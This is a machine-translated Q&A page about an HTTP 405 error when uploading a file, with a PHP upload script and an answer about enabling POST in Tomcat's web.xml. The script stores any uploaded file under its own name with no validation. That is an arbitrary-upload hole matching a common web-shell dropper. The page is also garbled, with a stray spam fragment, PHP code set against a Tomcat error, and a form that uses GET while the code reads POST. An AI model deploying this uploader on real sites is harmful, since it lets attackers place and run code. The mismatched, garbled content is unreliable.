HTTP状态405 - 请求方法' POST'不支持 - 文件上载

时间:2014-11-16 15:13:29

标签: post

HTTP状态405 - 请求方法' POST'不支持

类型状态报告

消息请求方法' POST'不支持

description 请求的资源不允许使用指定的HTTP方法。

Apache Tomcat / 7.0.42 apk indir主页点击。

<?php
if(isset($_POST['Submit'])){
    $filedir = ""; 
    $maxfile = '2000000';

    $userfile_name = $_FILES['image']['name'];
    $userfile_tmp = $_FILES['image']['tmp_name'];
    if (isset($_FILES['image']['name'])) {
        $abod = $filedir.$userfile_name;
        @move_uploaded_file($userfile_tmp, $abod);

echo"<center><b>Done ==> $userfile_name</b></center>";
}
}
else{
echo'
<form method="GET" action="" enctype="multipart/form-data"><input type="file" name="image"><input type="Submit" name="Submit" value="Submit"></form>';
}
?>

1 个答案:

答案 0 :(得分:0)

请参阅http-get-with-request-body以及this table比较GET和POST。

GET方法不带有意义的主体,因此不支持多部分文件上传。最喜欢这个是由浏览器作为POST请求发送的。

确保servlet的web-resource-collection文件中的web.xml标记包含<http-method>POST</http-method>,以便Tomcat允许您的POST请求。